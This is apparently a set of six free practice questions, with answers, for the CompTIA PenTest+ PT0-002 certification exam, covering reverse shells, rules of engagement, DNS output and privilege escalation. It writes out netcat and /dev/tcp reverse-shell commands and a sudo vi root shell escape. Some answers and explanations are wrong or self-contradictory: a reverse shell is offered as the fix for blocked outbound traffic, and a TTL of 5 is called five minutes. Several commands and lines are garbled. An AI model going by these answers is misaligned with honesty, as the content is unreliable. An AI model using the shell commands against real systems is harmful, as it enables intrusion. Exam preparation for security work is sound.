Free Questions for PT0-002

Shared by Whitehead on 04-10-2024

For More Free Questions and Preparation Resources

Check the Links on Last Page

Question 1

Question Type: MultipleChoice

After compromising a remote host, a penetration tester is able to obtain a web shell. A firewall is blocking outbound traffic. Which of the following commands would allow the penetration tester to obtain an interactive shell on the remote host?

Options:

A- bash -i >& /dev/tcp 8443 0>&l

B- nc -e host 8443 /bin/bash

C- nc -vlp 8443 /bin/bash

D- nc -vp 8443 /bin/bash

Answer:

B

Explanation:

When a firewall is blocking outbound traffic, a penetration tester can attempt to use a reverse shell to obtain an interactive shell on the remote host. The command nc -e host 8443 /bin/bash uses Netcat to create a reverse shell, connecting back to the attacker's machine on port 8443 and executing /bin/bash.

This command assumes that outbound traffic is allowed on the specified port (8443) and that Netcat is available on the target system. It effectively bypasses the firewall's restrictions by initiating the connection from the inside.

Explanation of reverse shell techniques: Pentestmonkey Reverse Shell Cheat Sheet

Practical examples from penetration testing scenarios: Horizontall.

Question 2

Question Type: **MultipleChoice**

Which of the following is a ROE component that provides a penetration tester with guidance on who and how to contact the necessary individuals in the event of a disaster during an engagement?

Options:

A- Engagement scope

B- Communication escalation path

C- SLA

D- SOW

Answer:

B

Explanation:

The communication escalation path is a component of the Rules of Engagement (ROE) that provides a penetration tester with guidance on whom to contact and how to proceed in the event of an emergency or disaster during an engagement. This includes contact information for key individuals and predefined procedures to follow to ensure that any issues are addressed promptly and appropriately.

The engagement scope defines the boundaries and objectives of the test, the SLA (Service Level Agreement) outlines performance and uptime requirements, and the SOW (Statement of Work) details the tasks and deliverables. However, the communication escalation path specifically addresses communication protocols during emergencies.

Explanation of Rules of Engagement components: OWASP Testing Guide

Examples from penetration testing engagements highlighting the importance of communication plans: Anubis.

Question 3

Question Type: MultipleChoice

A penetration tester is hired to test a client's systems. The client's systems are hosted by the client at its headquarters. The production environment is hosted by a private cloud-hosting company. Which of the following would be the most important for the penetration tester to determine before beginning the test?

Options:

A- Third-party asset restrictions

B- Disallowed tests

C- Physical locations of the infrastructure

D- Time-of-day restrictions

Answer:

A

Explanation:

Before beginning a penetration test, it is crucial to determine any restrictions related to third-party assets. This is particularly important when the client's systems are hosted by a third-party cloud provider. The penetration tester needs to know what limitations or restrictions are imposed by the third-party hosting company to avoid violating terms of service, causing unintended disruptions, or legal issues.

Understanding third-party asset restrictions ensures that the testing activities comply with legal and contractual obligations and avoid potential conflicts with the third-party provider.

Penetration testing considerations: OWASP Testing Guide

Experiences from various penetration testing engagements highlighting the importance of third-party restrictions: Anubis.

Question 4

Question Type: **MultipleChoice**

A penetration tester was able to gain access to a plaintext file on a user workstation. Upon opening the file, the tester notices some strings of randomly generated text. The tester is able to use these strings to move laterally throughout the network by accessing the fileshare on a web application. Which of the following should the organization do to remediate the issue?

Options:

A- Sanitize user input.

B- Implement password management solution.

C- Rotate keys.

D- Utilize certificate management.

Answer:

B

Explanation:

The presence of plaintext strings that can be used to move laterally across the network suggests that passwords or sensitive tokens are stored insecurely. Implementing a password management solution would help mitigate this issue by ensuring that passwords are stored securely and are not exposed in plaintext. Password managers typically use strong encryption to protect stored credentials and provide secure access to them.

Sanitizing user input, rotating keys, and utilizing certificate management address different aspects of security but do not directly resolve the issue of insecure password storage.

Importance of password management: NIST Password Guidelines

Examples of security breaches due to poor password management practices: Forge.

Question 5

Question Type: MultipleChoice

A penetration tester is performing DNS reconnaissance and has obtained the following output using different dig comrr

;; ANSWER SECTION

company.com. 5 IN MX 10 mxa.company.com

company.com. 5 IN- MX 10 mxb.company.com

company.com. 5 IN MX 100 mxc.company.com

;; ANSWER SECTION company.com. 5 IN A 120.73.220.53

;; ANSWER SECTION company.com. 5 IN NS nsl.nsvr.com

Which of the following can be concluded from the output the penetration tester obtained?

Options:

A- mxc.company.com is the preferred mail server.

B- The company.com record can be cached for five minutes.

C- The company's website is hosted at 120.73.220.53.

D- The nameservers are not redundant.

Answer:

B

Explanation:

The output of the DNS query shows the TTL (Time to Live) value for the company.com record as 5. This means that the DNS record can be cached for five minutes before it needs to be refreshed from the authoritative DNS server. The TTL value indicates how long a DNS resolver is allowed to cache the query before it must query the authoritative server again.

Understanding DNS TTL values: DNS TTL

Interpretation of DNS dig output from various penetration testing engagements: Horizontall.

Question 6

Question Type: MultipleChoice

After obtaining a reverse shell connection, a penetration tester runs the following command: www-data@server!2:sudo -1

User www-data may run the following commands on serverl2: (root) NOPASSWD: /usr/bin/vi

Which of the following is the fastest way to escalate privileges on this server?

Options:

A- Editing the file /etc/passwd to add a new user with uid 0

B- Creating a Bash script, saving it on the /tmp folder, and then running it

C- Executing the command sudo vi -c ' Jbash'

D- Editing the file/etc/sudoers to allow any command

Answer:

C

Explanation:

When the penetration tester has NOPASSWD privileges to run vi as root, the quickest way to escalate privileges is to leverage vi to execute a shell. The command sudo vi -c ':!bash' opens vi as the root user and immediately spawns a shell within vi. This method is fast and effective because vi (or vim) has the capability to run shell commands.

Executing sudo vi -c ':!bash' will open vi and then immediately run the :!bash command, which spawns a Bash shell with root privileges.

GTFOBins - vi

Example from penetration testing reports where vi is used to escalate privileges: Writeup.